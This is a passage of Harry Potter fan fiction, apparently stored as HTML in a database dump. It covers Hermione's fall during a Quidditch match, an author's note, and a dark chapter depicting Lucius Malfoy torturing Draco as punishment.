heartbreakingly true way and made her way out of the common room and up to the boy&#8217;s dormitories while Ginny took the opportunity to get some Potions homework done.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> *~*~*~*~*</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY">  It was nearing midnight when Ginny put the finishing touches on the two foot Asphodel essay Snape wanted as punishment for being late to class that morning. Ginny rubbed the back of her neck and stretched, glancing up to the boy&#8217;s dormitory entrance. Things had been quiet up there for some time now and it made her curious.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> She pressed the blotter firmly over her Potions essay and rolled it up. No one else was in the common room this late except for Neville who had fallen asleep over his Herbology homework on the floor in front of the fire.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Carefully, Ginny stepped over the boy and made her way upstairs to the seventh year boy&#8217;s dorm. The door creaked as she opened it and there was mumbling from Seamus&#8217; bed as he turned over, clutching a stuffed Quaffle to his chest and burying his face in it contentedly. Ron and Neville&#8217;s beds were empty, but Harry&#8217;s had the curtains partly drawn. Ginny lifted her hand to lift them back and smiled softly when she took in the scene before her.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">  Harry was on the left side, glasses halfway down his nose, with a peaceful look on his face. Hermione laid in the middle, squished between the two boys with an arm around each of their shoulders protectively. Ron curled up into her side, resting a flushed and sticky face on top of her stomach.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny sighed, feeling left out, but happy that they had all resolved the problem. Things were back to normal again. Hermione and the boys always had a closeness that became less restrained as the years passed and danger brought them nearer to each other.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Most people would see their behaviour as odd or even aberrant. But this was as natural as breathing to the Trio. Trio. That is what they were, and there was no room left for a fourth to join them on the bed and make it a quartet. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny pulled the quilt her mum had made for Harry the year before out of his trunk and draped it over their slumbering bodies, careful not to wake them. She gave in to her urge to smooth Ron&#8217;s hair down before wandering back down the stairwell. Ginny woke Neville from his place before the fire and scooted him along to bed before going upstairs herself.</p>\n<p align="JUSTIFY"> </p>\n<p align="JUSTIFY"> Huddled away from the creeping autumn chill by thick blankets and curtains, Ginny wished, not for the first time, that she had friends like Hermione and Harry were to Ron.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n\n'),
	(135, 4, '\n\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">  Weeks went by and things returned to normal. Harry didn&#8217;t spend every night in the arms of Ogden&#8217;s Fire Whiskey and Hermione stopped pretending that he didn&#8217;t exist. Ron put the fear of Merlin in the entire male population of the school in regards to treating Ginny respectfully and the days wore on.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Christmas holidays were closer than ever, and in the mad rush to do well on mid-term exams, Draco Malfoy actually forgot to berate Harry and his friends at every given opportunity. That didn&#8217;t mean he wouldn&#8217;t do it again, though.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> All in all, life was good if not exactly relaxing. Quidditch matches were still brutally competitive as ever and Ginny strained to overcome her newfound fear of brooms.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Gin, it isn&#8217;t like it&#8217;s <i>Malfoy&#8217;s</i> broom or anythin&#8217;, just fly the damned thing. This is the last match before hols and then you can practice some more at home. Harry&#8217;s had you on the bench since that Slytherin game and you <i>have</i> to play today.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Why did Claire have to be sick today? Couldn&#8217;t she have been sick tomorrow?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron rolled his eyes. &#8220;Like she really woke up and decided &#8216;oh, I think I&#8217;ll be sick so Ginny has to get her fat arse off of the bench&#8217;.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;My arse is not fat!&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;It will be if you don&#8217;t get off it and get some exercise. At least then I won&#8217;t have to worry about Malfoy selling more pictures of you to <i>Playwizard</i>.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;How dare you!&#8221; Ginny shrieked as she rapped Ron smartly on the head with her broom and turned to walk away, her ruffled dignity apparent from the straight set of her shoulders.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Oy, Ginny!&#8221; Harry called from across the pitch. &#8220;I&#8217;m glad to see that you&#8217;re feeling better, but could you please not hit my Chaser over the head? We&#8217;ve still got a game to play.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny grumbled as she mounted her broom, resisting the urge to send Harry a rude gesture in reply. At least she could content herself in the fact that this game was against Hufflepuff instead of Slytherin. It could be done, just a friendly game of Quidditch and then tomorrow they would all be leaving for the Burrow.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> She looked up into the stands to see Hermione fluttering her hand madly and Ginny smiled, waving back as she took off from the ground. Colin was somewhere close to Hermione, a few rows back, and was staring lustily at Ernie MacMillian, totally ignoring Ginny.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">  Madame Hooch pitched the Quaffle high into the air and Ginny took a deep breath before pelting after it, not having time to wave at Colin. Justin Finch-Fletchley grabbed it first as he whooped and raced off towards the Gryffindor goal. Narrowing her eyes, Ginny leaned forward over her broom to gain speed and stopped in mid-air as a flashback of being bent over by Malfoy flooded her mind. She shook her head to clear it and pushed blindly forward. &#8216;He isn&#8217;t here, just keep playing,&#8217; Ginny berated herself. Justin was far ahead and Ron and Seamus were already catching him up.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny spared a glance at Hermione for support and drew up short when she saw Malfoy talking to her. Whatever it was that he said must have hurt because Hermione was huddling down into her robes as far as possible. As he leaned forward to smirk superiorly into her face, Ginny&#8217;s temper snapped and she flew straight for the stands, regardless of the fact that she was in the middle of a Quidditch match.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Hermione had already had enough and was making her way past Malfoy to get down the stairs when it happened. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Tripping over someone&#8217;s book bag, Hermione&#8217;s arms wind-milled for only a second before she lost balance completely and fell backwards over the railing. She screamed once and was plunging towards the ground at a great rate of speed. Malfoy&#8217;s mouth was a perfect &#8216;o&#8217; as he rushed forward to catch her but too late.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny was close by and threw her broom recklessly into a downward spiral, shouting Hermione&#8217;s name and praying to catch her before the earth did. For a moment, about twenty feet from the ground, Ginny could feel the girl&#8217;s hand touch her own and gripped tightly to slow her descent. Closer, closer, closer, Ginny told herself. But she wasn&#8217;t fast enough and Hermione slipped, stopped, and bounced once before becoming very still.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Just narrowly avoiding the ground herself, Ginny pulled up and landed, jumping off of her broom to cradle Hermione in her arms. Harry and Ron weren&#8217;t very far behind and the latter leapt from his broom before it was less than three feet from the ground.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Hermione!&#8221; was echoed by both of the boys, a cry that pierced the crowd&#8217;s whispering, as they knelt beside the motionless form.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I-I tried to catch her, but I wasn&#8217;t fast enough and my hands slipped. I&#8217;m so sorry--&#8221; This last word was partially cut off as a sob escaped Ginny&#8217;s mouth and she clapped a hand over it, rocking Hermione back and forth. Madame Hooch was running across the pitch with Madame Pomfrey in tow.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;What happened here?&#8221; Madame Hooch demanded.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Hermione tripped and fell over the railing. I couldn&#8217;t catch her in time,&#8221; Ginny cried, holding onto Hermione more protectively than before.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I see. You shouldn&#8216;t have moved her, Miss Weasley. Now put her down so Poppy can have a look,&#8221; Hooch said, not unkindly, as she removed Ginny&#8217;s arms from around Hermione and placed them by her sides.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Madame Pomfrey looked down at the girl and shook her head, allowing her wand to pass over Hermione&#8217;s body and clucking when the light encasing the tip turned a different colour.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;She isn&#8217;t dead. But there is some internal bleeding and broken bones. I may have to call someone in from St. Mungo&#8217;s to operate. You should feel lucky that you slowed her fall or she&#8216;d be dead now.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;But she&#8217;ll be all right?&#8221; Harry pleaded, gripping the tiny woman by the shoulders. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Maybe, it all depends on how fast we can get that bleeding under control. A human body can--&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;What are you waiting for then! Take her back to Hogwarts and call that fellow from St. Mungo&#8217;s!&#8221; Ron shouted, cutting off Madame Pomfrey.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The nurse frowned at him but didn&#8217;t comment as she created a stretcher and made it float over the pitch towards the castle and into the Infirmary.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> *~*~*~*~* </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> &#8220;How bloody long does it take to do surgery on someone?&#8221; Ron asked, pushing a freckled hand through his limp hair.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Don&#8217;t say bloody,&#8221; was the only response Ron got from Harry. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny was just as worried as the other two, who had resorted to pacing and staring blankly at the walls. Harry had taken it upon himself to make Hermione&#8216;s presence felt by correcting Ron periodically when he wasn&#8216;t blanking out, and Ron grumbled and swore as he walked from the Infirmary doors and back to the wall in a dizzy circuit. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> It was early evening and Ginny&#8217;s stomach was rumbling. She pushed herself off of the bench opposite of the Infirmary and stretched aching limbs.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I&#8217;m going down to the Hall to get us something to eat. Any preferences?&#8221; Her enquiry was met with silence on Harry&#8217;s part and Ron shook his head. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I couldn&#8217;t think of eating anything right now, my stomach is all tied up in knots.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny nodded. &#8220;I&#8217;ll bring back some sandwiches and juice, just in case.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The hallways were dark and old-fashioned rush torches were spaced neatly down each side of the corridor all along this wing. What light they cast was dim and flickering at best. Just as she was turning the corner en route to the Great Hall, a tall figure shrouded in black knocked her down. Ginny started to apologise before she realised that they had knocked <i>her</i> down and stopped. Then she caught a glimpse of their face and froze.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Malfoy?&#8221; she queried, turning her head to the side just to make sure that Ron wasn&#8217;t going to make an appearance and then looked up again toward the cloaked figure. His face was half hidden under his hood and what little there was showing didn&#8217;t give much indication of his thoughts, if any.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;What are you doing here? Come to finish her off?&#8221; Ginny sneered as she put her hands down on the rough stones to help her stand back up. Malfoy didn&#8217;t move to offer assistance, but pulled even deeper into his cloak.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I didn&#8217;t mean for her to fall,&#8221; he said so faintly that Ginny had a difficult time making out the words.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;You didn&#8217;t push her but you may as well have done.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I tried to catch her!&#8221; Draco defended angrily.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I know,&#8221; Ginny sighed. &#8220;I saw you reach for her. But we were both too late.&#8221; She looked up into his face but could see nothing but darkness. &#8220;Anyway, why do you care? She&#8217;s just a <i>Mudblood</i>. I thought Malfoys didn&#8217;t associate with <i>her</i> kind.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I <i>don&#8217;t</i> care.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Then why are you here?&#8221; </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco actually flinched at this and Ginny tried to blink the surprise from her expression. &#8220;Are you feeling guilty, Malfoy?&#8221; she ventured.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Of course not,&#8221; he snapped, but the response lacked his usual bite and Ginny could see how his shoulders were slouching down. It wasn&#8217;t like him at all.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;You do. You feel guilty because you upset her so badly that she lost her balance and fell. <i>You </i>feel bad because you couldn&#8217;t catch her before she--&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Shut up,&#8221; he whispered. &#8220;Just shut up. You don&#8217;t know anything about me, so don&#8217;t presume.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Why do you care, Malfoy?&#8221; she persisted. &#8220;Why do you care what happens to one of us?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Draco opened his mouth to respond and shut it tightly as Ron came skidding around the corner, not noticing him there.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Gin, she&#8217;s awake! We can go in to see her now.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny turned back to say something to Malfoy but he was gone. She peered into the shadows, but there was nothing so she allowed Ron to guide her back to the Infirmary.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> *~*~*~*~*</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p align="JUSTIFY"> &#8220;How are you feeling, Hermione?&#8221; Ginny asked, taking up her left hand as the right was being occupied in Harry&#8217;s tight grip.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> The girl turned her head slightly to the left and smiled weakly. &#8220;I feel like I was hit by a Bludger.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny laughed through thankful tears and gave her hand a squeeze. &#8220;No, just the ground.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Hermione nodded and closed her eyes wearily. &#8220;Where&#8217;s Ron?&#8221; she asked, eyes still closed.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;I&#8217;m here, Hermione.&#8221; Ron sat on the bed when Ginny rose to vacate the coveted spot. Hermione nodded again and relaxed more deeply into the bed. Before she had the chance to fall asleep, Ginny asked, &#8220;What did Malfoy say to make you so upset?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Hermione blinked her eyes at the question and shrugged. &#8220;It wasn&#8217;t important, just Malfoy being a Malfoy.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron was quickly becoming purple with rage and Harry&#8217;s hand shook on top of Hermione&#8217;s coverlet. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;What did he <i>say</i>, Hermione?&#8221; Harry ground out. &#8220;I want to know what to tell him while I&#8217;m mashing his aristocratic nose into the floor.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny almost said that Malfoy had tried to catch her, but kept silent as Hermione began to speak.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;He said that...&#8221; she swallowed. &#8220;He said that I&#8217;m a tease.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron drew back and gaped like a fish. &#8220;A <i>tease</i>? How are you a tease?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Because I&#8217;m always, you know, I&#8217;m always hugging you two and being affectionate.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;That doesn&#8217;t mean anything, we&#8217;re just close is all,&#8221; Harry said, leaning back against the chair with his arms crossed. He had dropped Hermione&#8217;s hand in the process and now had a very dark look upon his face. </p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron had picked up her other hand and now held them both. &#8220;Hermione, don&#8217;t ever listen to something that stupid arse says again. Do you understand?&#8221; he shook her hands slightly for emphasis and placed a gentle kiss over her knuckles. &#8220;He&#8217;s only jealous because he doesn&#8217;t have a-- a friend as good as you.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Harry snorted, &#8220;I don&#8217;t think Malfoy has <i>any</i> friends.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ginny decided to broach a new topic. &#8220;Are you still coming to the Burrow for Christmas, Hermione?&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Oh I don&#8217;t know, Gin. I&#8217;m still feeling awfully weak and Madame Pomfrey said that I have to be here for her to watch over me for at least another two days just to make sure that I don&#8217;t bleed anymore.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;We&#8217;ll stay here with you then,&#8221; Ron said quickly.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Hermione only shook her head. &#8220;No, you all should go; I&#8217;ll be along before Christmas. Just as long as Mrs. Weasley doesn&#8217;t mind that I sleep most of the time.&#8221;</p>\n<p align="JUSTIFY"> </p>\n<p align="JUSTIFY"> &#8220;She won&#8217;t mind, Hermione. In fact, I&#8217;m going to owl Mum right now and let her know about what happened.&#8221; Ginny dipped her head down and gave Hermione a quick kiss on the forehead, followed by Harry and Ron.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;We&#8217;ll leave so you can rest now,&#8221; Harry said with one last pat to her hand. Ron didn&#8217;t want to go, but Ginny grabbed his arm and dragged him away.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> &#8220;Come on, Ron. We&#8217;ll write to Mum and ask her to set Hermione up in Bill&#8217;s room since he won&#8217;t be home for the holidays.&#8221;</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY"> Ron nodded and allowed Ginny to lead he and Harry out of the sickroom.</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&nbsp;</p>\n<p> </p>\n\n'),
	(135, 5, '\n\n\n    <p>Hi guys! I just thought I\'d let you all\n    know that due to popular demand, I\'ve opened up a yahoogroup\n    for my fics. If you subscribe, you can actually see my fic\n    chapters earlier than everyone else and leave reviews and\n    stuff. Also, I\'ve opened up a new site, so go ahead and check\n    it out too. It\'s strictly for H/Hr and D/G pairings and has\n    my first HPverse music video for D/G (H/Hr\'s video coming\n    soon) under the Misc. section. So I urge you all to check\n    this stuff out and have a great day!</p>\n    <p>Yahoogroup: http://group.yahoo.com/group/stafic</p>\n    <p>Songs of Innocence and Experience:\n    http://singtoangels.sinfree.net/ppmt</p>\n    <p><i></i>&nbsp;</p>\n    <p><i></i>&nbsp;</p>\n    <p><i></i>&nbsp;</p>\n    <p><i>&quot;Be still, be calm, be quiet now,\n    my precious boy. <br>\n    Don\'t struggle like that or I will only love you more. <br>\n    For it\'s much too late to get away or turn on the light. <br>\n    The spiderman is having you for dinner tonight.&quot;</i></p>\n    <p>~ The Cure - Lullaby<br>\n    </p>\n    <p>&#8220;Father, I don&#8217;t understand why\n    we have to do this now.&#8221;</p>\n    <p>Draco Malfoy stood in the middle of his\n    father&#8217;s study, covered in chain mail with an ornate\n    billhook in one hand. The mid-afternoon sun was bright and it\n    bathed him in gold as he paced across the basket weave\n    parquet flooring.</p>\n    <p>&#8220;I&#8217;ve told you several times\n    already. You must know how to defend yourself properly if the\n    time ever comes that you can not use magic.&#8221;</p>\n    <p>&#8220;But these are Muggle weapons, and\n    ancient ones at that. It isn&#8217;t very likely I&#8217;ll be\n    able to get my hands on a billhook in the middle of a fight.\n    Besides, I hardly think it appropriate to be cowering behind\n    metal chain like a frightened child.&#8221;</p>\n    <p>&#8220;Your opinion on the subject matters\n    little. You will do this. Now, disarm me if you can,&#8221;\n    Lucius sniffed, holding his mace slightly to the side. Full\n    metal plate armour gleamed with fresh polish and Draco felt\n    it wasn&#8217;t fair that he only got a tunic of mail for\n    protection against his father&#8217;s spiked mace. What a way to\n    spend the holidays. </p>\n    <p>He desperately longed for one of the\n    &#8216;Earl and Flicks&#8217;s Menthol cigarettes - with new\n    and improved Calming Charm!&#8217; that resided in his trouser\n    pocket. It was the only way he had found to be even close to\n    normal again, especially since coming home.</p>\n    <p>Draco acknowledged his father with a curt\n    nod and darted forward, catching the maces&#8217;s tipped end\n    between the spike and hook of his weapon and wrenched it out\n    of his father&#8217;s grip just as the man was about to swing.\n    This took his father by surprise, but it didn&#8217;t show on\n    his face. It never would.</p>\n    <p>Fluidly, Draco threw the mace behind him\n    and with the same movement curved his hook somewhere under\n    the side joints of Lucius&#8217; breastplate, pulling the man\n    to the floor. </p>\n    <p>Placing one foot on his father&#8217;s\n    chest, Draco dipped a hand into the rough linen tunic under\n    his mail and pulled out a misericorde, hovering the\n    stiletto over Lucius&#8217; heart.</p>\n    <p>&#8220;Do you yield?&#8221; he asked the\n    traditional words without a hint of emotion in his voice.</p>\n    <p>Lucius&#8217; eyebrows rose and he nodded,\n    sitting up with what, for him, would be a smile. &#8220;Maybe\n    there is hope for you yet, well done.&#8221;</p>\n    <p>&#8220;Thank you, Father. Do I have your\n    permission to withdraw?&#8221;</p>\n    <p>&#8220;Not just yet, there are some matters\n    I must discuss with you.&#8221; He stood from the floor and\n    walked over to his desk, sitting behind it but making no\n    motion for Draco to take a seat himself.</p>\n    <p>&#8220;After you leave school in June, there\n    are two things that will happen. One is your marriage, of\n    which you were already aware. But the second is something\n    I&#8217;ve only recently been able to discuss with My Lord. He\n    has agreed to accept you into the ranks of the Death Eaters\n    early.&#8221;</p>\n    <p>Draco&#8217;s eyes widened and Lucius took\n    this as a sign of surprise, rather than the anger it really\n    was.</p>\n    <p>&#8220;Yes, I know. You are still very young\n    yet. But as a favour to me, the Dark Lord has consented to my\n    request to have you join us immediately upon finishing\n    school.&#8221;</p>\n    <p>Thoughts swirled through Draco&#8217;s mind;\n    along with emotions he didn&#8217;t know he was capable of\n    having. A Death Eater? He had always known that he was to be\n    married immediately after graduation to a girl whose name he\n    didn&#8217;t even know, to produce more heirs for the thinning\n    Malfoy herd. Now this? Was he to have no freedom or would he\n    be forced to bow to the demands of master after master his\n    entire life? Draco forced himself to keep a neutral face\n    about the matter and swallowed.</p>\n    <p>&#8220;I am&#8230; honoured, Father. However,\n    I have no wish to join the Death Eaters at any time in the\n    future. I&#8217;m sure that you understand.&#8221;</p>\n    <p>If it wasn&#8217;t possible before for\n    someone&#8217;s face to turn black, Lucius made the exception.</p>\n    <p>&#8220;Understand? You&#8217;re <i>honoured</i>?\n    There is no choice in this, Draco. You <i>will</i> be a Death\n    Eater. You were written in as a future member of our ranks\n    the day you were born!&#8221; </p>\n    <p>Lucius&#8217; eyebrows were beetled into a\n    single line over his forehead and the normal pallor of his\n    skin was blotchy and unrecognisable. Draco kept a firm reign\n    on himself to keep from taking a step back.</p>\n    <p>&#8220;Father, I--&#8221;</p>\n    <p>&#8220;You disgust me!&#8221; Lucius stood\n    up. &#8220;Remove your shirt and wait for me in the\n    Chamber.&#8221;</p>\n    <p>&#8220;Father, if you&#8217;ll let me\n    explain--&#8221;</p>\n    <p>&#8220;Another sound from you and it will be\n    an extra twenty.&#8221; Lucius stated more calmly than before,\n    looking down his nose at the boy. &#8220;The Chamber,\n    now.&#8221;</p>\n    <p>Draco didn&#8217;t dare say another word,\n    but walked with steady, deliberate steps out of the room and\n    down the hall into the Chamber.</p>\n    <p>Long ago, when Malfoy Manor was built, one\n    of the very first rooms completed was a torture chamber to be\n    used by priests during the Inquisition.</p>\n    <p>Although it started in Spain, the movement\n    spread rapidly through Europe and across the Channel into the\n    British Isles. The first Malfoys of the area had brought\n    their beloved customs with them from France, as they were\n    priests whose loyalties had lain with those who were\n    persecuting their own people. Malfoys always had been ones to\n    save their own skins first and those of others later if at\n    all. Wizards and witches by the score were brought into the\n    Manor to be stretched, burned, shorn, and often buried in\n    unmarked graves on the land if they didn&#8217;t confess their\n    &#8216;sins&#8217;.</p>\n    <p>Now the youngest master of this house\n    looked around him at the various implements of torture and\n    wondered which his father would use this time. It had been\n    almost six months since he had displeased his father so\n    badly. The spider incident, as Draco lovingly referred to it,\n    was the last time he&#8217;d set foot in this room.</p>\n    <p>Draco quickly took off the heavy chain mail\n    and the linen tunic underneath, which left him to face the\n    chill in only a pair of trousers. Perhaps that was part of\n    the torment. Lucius strode through the door just as Draco was\n    placing his shoes and dagger on a stray chair. </p>\n    <p>&#8220;Which is it to be tonight, boy?&#8221;</p>\n    <p>Draco didn&#8217;t allow his shoulders to\n    fall, but raised his head firmly and walked around the room.\n    It seemed that he was to pick out his own method of\n    punishment tonight. </p>\n    <p>He walked by the Catherine Wheel and tongue\n    stretchers; thumbscrews weren&#8217;t painful enough, and\n    Father would punish him more severely if he took the\n    coward&#8217;s way out. Water torture: that would suffice. He\n    pointed at the contraption and Lucius shook his head.</p>\n    <p>&#8220;You could be drowned. How would I\n    explain that to the Dark Lord?&#8221;</p>\n    <p>Draco frowned and continued to walk along\n    the narrow pathways past various instruments of pain.\n    Punishments seemed even more unbearable when he had to\n    deliberate like this instead of getting it over with. But\n    Lucius enjoyed the ritual of it all; it comforted him as\n    mulled wine on a cold night heartened most.</p>\n    <p>&#8220;The Hot Seat?&#8221; Draco asked.</p>\n    <p>&#8220;Don&#8217;t be daft, I want heirs from\n    you someday.&#8221;</p>\n    <p>Torture could be a very tricky process. Too\n    much pressure one way or another and the victim was either\n    dead or horribly mutilated. Lucius had no use for a crippled\n    son, and too many uses for a dead one. Charms to cover scars\n    and to seal wounds came in useful at the Malfoy\n    &#8216;home&#8217;. Then again, some of the marks he made\n    couldn&#8217;t be concealed.</p>\n    <p>Lucius sighed in exasperation and picked up\n    a pair of thumbscrews. &#8220;These\n    will have to do; I don&#8217;t have all night to be about\n    this. I&#8217;ll just hang you by your fingers for a few hours\n    and that should make up for it.&#8221;</p>\n    <p>Draco&#8217;s fingers were shoved between\n    the spiked, metal plates and Lucius twisted the screws on\n    each side until Draco&#8217;s bones started to crunch and the\n    pads turned purple. He bit back a gasp.</p>\n    <p>&#8220;Hmmn, on second thought, what would I\n    do if you had no fingers? I&#8217;d best just suspend you by\n    the wrists instead.&#8221;</p>\n    <p>The thumbscrews were released and Draco\n    didn&#8217;t dare rub his hands to bring back the feeling. A\n    thick rope was tied around his wrists, the other end being\n    thrown over a rafter, and the ground was no longer under his\n    feet as he was pulled up to hover over the floor by a few\n    inches.</p>\n    <p>Lucius regarded him critically.\n    &#8220;Twenty lashes. Then you may come down when you\n    apologise and agree to become a Death Eater.&#8221;</p>\n    <p>Draco rolled his eyes and held a tight rein\n    on his vocal cords. His father seemed to enjoy flapping his\n    lips; that was the real torture. Maybe if he bit his own lip\n    it would keep the sarcasm in check and this would be over\n    with soon.</p>\n    <p>The whip cracked and there was the even,\n    fiery sting across his back that he knew and loathed, yet\n    craved at the same time. It was the only form of love he\n    would ever receive from his father. That was one&#8230;</p>\n    <p>&nbsp;</p>\n    <p>*~*~*~*~*</p>\n    <p>&nbsp;</p>\n    <p>&#8220;Mrs. Weasley please, I can&#8217;t eat\n    another bite.&#8221;</p>\n    <p>Molly sighed and put down her serving\n    spoon. &#8220;If you say so, Harry. But you&#8217;re terribly\n    thin and I worry about you.&#8221;</p>\n    <p>&#8220;Muuum! Harry&#8217;ll throw up if you\n    make him eat anymore. He&#8217;s always been a skinny little\n    bloke.&#8221;</p>\n    <p>Harry sat up straighter and glared at Ron.\n    &#8220;I may be a skinny bloke, but I&#8217;m hardly little, am\n    I?&#8221;</p>\n    <p>&#8220;Well,&#8221; Ron admitted. &#8220;I\n    guess not, seeing as how you&#8217;re almost an inch taller\n    than I am.&#8221;</p>\n    <p>&#8220;More than an inch, I&#8217;m an inch\n    and three-quarters over six.&#8221; Harry smirked at Ron, very\n    satisfied with himself and pleased by the fact that he could\n    still act like a five year-old without cares on occasion.</p>\n    <p>&#8220;You are not!&#8221; Ron shouted,\n    spewing kippers everywhere.</p>\n    <p>&#8220;Yep, measured myself just last\n    week.&#8221; Harry crossed his arms smugly and lifted one\n    corner of his mouth.</p>\n    <p>Ron looked at him witheringly. &#8220;I\n    wasn&#8217;t talking about your--&#8221;</p>\n    <p>&#8220;Ron!&#8221; Ginny gasped.</p>\n    <p>&#8220;What? I was going to say his shoe\n    size.&#8221;</p>\n    <p>Ginny rolled her eyes. &#8220;Sure you\n    were.&#8221; She turned to their mother. &#8220;When are the\n    twins going to be here, Mum?&#8221;</p>\n    <p>&#8220;Merlin only knows; they&#8217;re still\n    in America looking over new ideas for the shop, so they may\n    not be here until Christmas Eve.&#8221;</p>\n    <p>&#8220;Oh,&#8221; Ginny clasped her hands\n    together in an earnest way. &#8220;I hope they bring me\n    something keen, you know they&#8217;ll do their Christmas\n    shopping 